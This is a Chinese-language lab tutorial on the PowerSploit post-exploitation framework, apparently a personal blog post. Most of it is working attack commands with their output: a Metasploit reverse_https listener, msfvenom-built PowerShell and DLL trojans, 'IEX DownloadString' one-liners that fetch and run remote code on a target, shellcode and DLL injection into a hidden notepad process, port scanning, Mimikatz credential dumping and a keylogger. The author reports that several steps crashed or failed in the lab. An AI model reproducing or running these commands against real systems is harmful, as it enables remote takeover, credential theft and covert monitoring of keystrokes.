PowerSploit是一款基於PowerShell的后滲透(Post-Exploition)框架軟件,包含很多PowerShell攻擊腳本,它們主要用於滲透中的信息偵查、權限提升、權限維持。其GitHub地址為:https://github.com/PowerShellMafia/PowerSploit
1、PowerSploit的安裝
這里通過kali下載PowerSploit,首先輸入git命令下載程序目錄
git clone https://github.com/PowerShellMafia/PowerSploit
接着輸入以下命令開啟Apache服務
service apache2 start
把下載好的文件夾移動到var/www/html目錄,搭建一個簡易的服務器,在網頁中打開http://192.168.59.128/PowerSploit/,如下圖所示。
下面根據上圖介紹PowerSploit各模塊的功能。
- AntivirusBypass:發現殺毒軟件的查殺特征
- CodeExecution:在目標主機上執行代碼
- Exfiltration:目標主機上的信息搜集工具
- Mayhem:藍屏等破壞性腳本
- Persistence:后門腳本(持久性控制)
- Recon:以目標主機為跳板進行內網信息偵查
- ScriptModification:在目標主機上創建或修改腳本
2、PowerSploit腳本攻擊實戰
(1)Invoke-Shellcode
CodeExecution模塊下的Invoke-Shellcode腳本常用於將Shellcode插入指定的進程ID或本地PowerShell中,下面介紹兩種常用的反彈Meterpreter Shell方法。
a.直接執行shellcode反彈Meterpreter Shell
首先在MSF里使用reverse_https模塊進行反彈,設置的內容如下。
root@kali:~# service apache2 start root@kali:~# msfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf5 exploit(multi/handler) > set LHOST 192.168.59.128 #本地IP,可用ip addr命令查看 LHOST => 192.168.59.128 msf5 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.59.128 yes The local listener hostname LPORT 4444 yes The local listener port LURI no The HTTP Path Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://192.168.59.128:4444
使用msfvenom命令生成一個powershell腳本木馬
root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.59.128 LPORT=4444 -f powershell -o /var/www/html/test [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 671 bytes Final size of powershell file: 3316 bytes Saved as: /var/www/html/test root@kali:~#
接着在目標機Powershell下輸入以下命令下載該腳本
PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") PS C:\Users\zn>
接着輸入以下命令下載木馬
PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/test") PS C:\Users\zn>
接着在powershell下運行如下命令
PS C:\Users\zn> Invoke-Shellcode -Shellcode ($buf) -Force Windows PowerShell已停止工作
其中的-Force意思是不用提示,直接執行。
按理說,此步驟執行完成后,返回MSF的監聽界面下,會發現已經反彈成功了,可是我的Powershell在運行完Invoke-Shellcode -Shellcode ($buf) -Force命令后直接提示“Windows PowerShell已停止工作”,然后就崩潰了,導致不能反彈成功,不知道為啥。
b.指定進程注入shellcode反彈Meterpreter Shell
同樣先在目標機Powershell下輸入命令下載腳本和木馬
PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/test")
接着輸入Get-Process命令或者ps命令查看當前進程
然后輸入以下命令創建一個新的進程,並把它設置為隱藏的,再輸入Get-Process命令查看進程,可以看到多了一個id為2668,名為notepad的進程
PS C:\Users\zn> start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden PS C:\Users\zn> get-process notepad Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName ------- ------ ----- ----- ----- ------ -- ----------- 56 7 1424 5384 75 0.02 2668 notepad
接着輸入以下命令,使用Invoke-Shellcode腳本進行進程注入
PS C:\Users\zn> Invoke-Shellcode -ProcessID 2668 -Shellcode ($buf) -Force 記事本已停止工作
同樣的,按理說,此步驟執行完成后,返回MSF的監聽界面下,會發現已經反彈成功了,可是我的Powershell在運行完Invoke-Shellcode -Shellcode ($buf) -Force命令后直接提示“Windows PowerShell已停止工作”,然后就崩潰了,導致不能反彈成功。
(2)Invoke-DllInjection
下面使用CodeExecution模塊下的另一個腳本Invoke-DllInjection,它是一個DLL注入的腳本。
同理還是首先在MSF里配置好監聽,與上面的相同。
然后使用以下命令在kali中生成一個dll的反彈木馬
root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.59.128 LPORT=4444 -f dll -o /var/www/html/test.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 498 bytes Final size of dll file: 5120 bytes Saved as: /var/www/html/test.dll
將test.dll下載到目標機
然后在目標機上下載腳本,輸入以下命令
PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
接着啟動一個新進程,使用Invoke-Shellcode腳本進行進程注入
PS C:\Users\zn> start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden PS C:\Users\zn> get-process notepad Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName ------- ------ ----- ----- ----- ------ -- ----------- 56 7 1424 5300 75 0.00 2008 notepad PS C:\Users\zn> Invoke-DllInjection -ProcessID 2008 -Dll C:\Users\zn\test.dll #先將文件下載到此處 You cannot inject a 32-bit DLL into a 64-bit process.
按理說,此時返回MSF的監聽界面下,會發現已經反彈成功了,可是我進行進程注入時報錯了“You cannot inject a 32-bit DLL into a 64-bit process.”。哎。。。
(3)Invoke-Portscan
nvoke-Portscan是Recon模塊下的一個腳本,主要用於端口掃描,使用起來也比較簡單。使用方法如下
先下載腳本,然后進行掃描
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Recon/Invoke-Portscan.ps1") PS C:\> Invoke-Portscan -Hosts 192.168.59.1,192.168.59.128 -Ports "80,22,3389" Hostname : 192.168.59.1 alive : True openPorts : {} closedPorts : {22, 3389} filteredPorts : {80} finishTime : 2020/1/16 18:45:13 Hostname : 192.168.59.128 alive : True openPorts : {80} closedPorts : {22, 3389} filteredPorts : {} finishTime : 2020/1/16 18:45:13
成功!!!
(4)Invoke-Mimikatz
Invoke-Mimikatz是Exfiltration模塊下的一個腳本。使用方法如下
先下載腳本,然后執行命令即可
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1") PS C:\> Invoke-Mimikatz -DumpCreds .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) #報錯啦 mimikatz(powershell) # exit Bye! PS C:\>
這里需要注意一點,和使用Mimikatz工具一樣,內置的Mimikatz在使用時同樣需要管理員權限。
(5)Get-Keystrokes
Get-Keystrokes是Exfiltration模塊下的一個腳本,用於鍵盤記錄,功能相當強大,不僅有鍵盤輸入記錄,甚至能記錄鼠標的點擊情況,還能記錄詳細的時間,實戰時可以直接放入后台運行。使用方法如下。
先下載腳本,然后使用命令開啟鍵盤記錄,這里輸入幾個字母測試一下。
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Exfiltration/Get-Keystrokes.ps1 ") PS C:\> Get-Keystrokes -LogPath C:\Users\zn\test1.txt PS C:\> sdfsadadads 打開test1.txt查看: "TypedKey","WindowTitle","Time" "s","Windows PowerShell","2020/1/16 18:57:13" "d","Windows PowerShell","2020/1/16 18:57:13" "f","Windows PowerShell","2020/1/16 18:57:13" "s","Windows PowerShell","2020/1/16 18:57:13" "a","Windows PowerShell","2020/1/16 18:57:13" "d","Windows PowerShell","2020/1/16 18:57:13" "a","Windows PowerShell","2020/1/16 18:57:14" "d","Windows PowerShell","2020/1/16 18:57:14" "a","Windows PowerShell","2020/1/16 18:57:14" "d","Windows PowerShell","2020/1/16 18:57:14" "s","Windows PowerShell","2020/1/16 18:57:14" "d","C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45" "a","*C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45" "s","*C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45"